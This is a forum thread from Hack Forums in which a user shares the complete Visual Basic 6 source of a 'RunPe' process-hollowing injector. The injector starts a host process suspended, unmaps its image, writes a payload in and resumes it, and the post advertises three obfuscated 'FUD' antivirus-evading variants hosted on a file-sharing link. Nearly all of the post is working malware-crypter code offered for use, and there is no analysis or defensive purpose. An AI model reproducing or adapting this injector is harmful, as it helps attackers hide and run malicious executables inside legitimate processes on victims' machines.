

Forum:[Hack Forums](#)

Thread: [3 RunPe's VB.6 FUD obfuscated from original RunPe](#)

xDxMiXx - December 21, 2011, 11:29 pm

hey hack forums brothers and sisters .

i feel sad cuz i havent post anything long time ago . so i tried to help u out with this

3 free RunPe's FUD for VB.6 obfuscated by me 2day ?

the original one ? :

Quote:Option Explicit

```
Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
```

```
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
```

```
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
```

```
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long
```

```
Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
```

```
Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type
```

```
Private Type STARTUPINFO
    cb As Long
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
```

dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long

Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER

e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER

Machine As Integer
NumberOfSections As Integer
TimeStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY

VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER

Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long

SizeOfInitializedData As Long
SizeOfUninitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
Checksum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type

Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim IPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long

Dim IMod As Long

IMod = GetProcAddress(LoadLibraryA(sLib), sMod)

If IMod = 0 Then Exit Function

IPtr = VarPtr(bvASM(0))

RtlMoveMemory ByVal IPtr, &H59595958, &H4: IPtr = IPtr + 4

RtlMoveMemory ByVal IPtr, &H5059, &H2: IPtr = IPtr + 2

For i = UBound(Params) To 0 Step -1

RtlMoveMemory ByVal IPtr, &H68, &H1: IPtr = IPtr + 1

RtlMoveMemory ByVal IPtr, CLng(Params(i)), &H4: IPtr = IPtr + 4

Next

RtlMoveMemory ByVal IPtr, &HE8, &H1: IPtr = IPtr + 1

RtlMoveMemory ByVal IPtr, IMod - IPtr - 4, &H4: IPtr = IPtr + 4

RtlMoveMemory ByVal IPtr, &HC3, &H1: IPtr = IPtr + 1

CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)

End Function

Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)

Dim i As Long

Dim Pidh As IMAGE_DOS_HEADER

Dim Pinh As IMAGE_NT_HEADERS

Dim Pish As IMAGE_SECTION_HEADER

Dim Si As STARTUPINFO

Dim Pi As PROCESS_INFORMATION

Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64

RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi

CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase

CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase,

Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE,
PAGE_EXECUTE_READWRITE

WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0),

Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1

RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 i), Len(Pish)

WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress,
bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0

Next i

Ctx.ContextFlags = CONTEXT_FULL

CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)

WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0

Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint

CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)

CallAPI "kernel32", "ResumeThread", Pi.hThread

End Sub

and i obfuscated to 3 different FUD RunPe's ?

its have a big chars , so i uploaded to mediafire ?:

<http://www.mediafire.com/?0610i52by95l15n>

P.S: i typed in every the function name to call like:

'CallAPI = XX

'Injec = XX

\\\\ALL TESTED AND WORKING SUCCESSFULLY\\\\

so u have to replace it only ^^

Enjoy :) Hope u like it ?

Signature:

WANTED: a girlfriend to be like team in hacking (im single and standalone at my hacking) xD
no one replied xD lolz -- post fail ?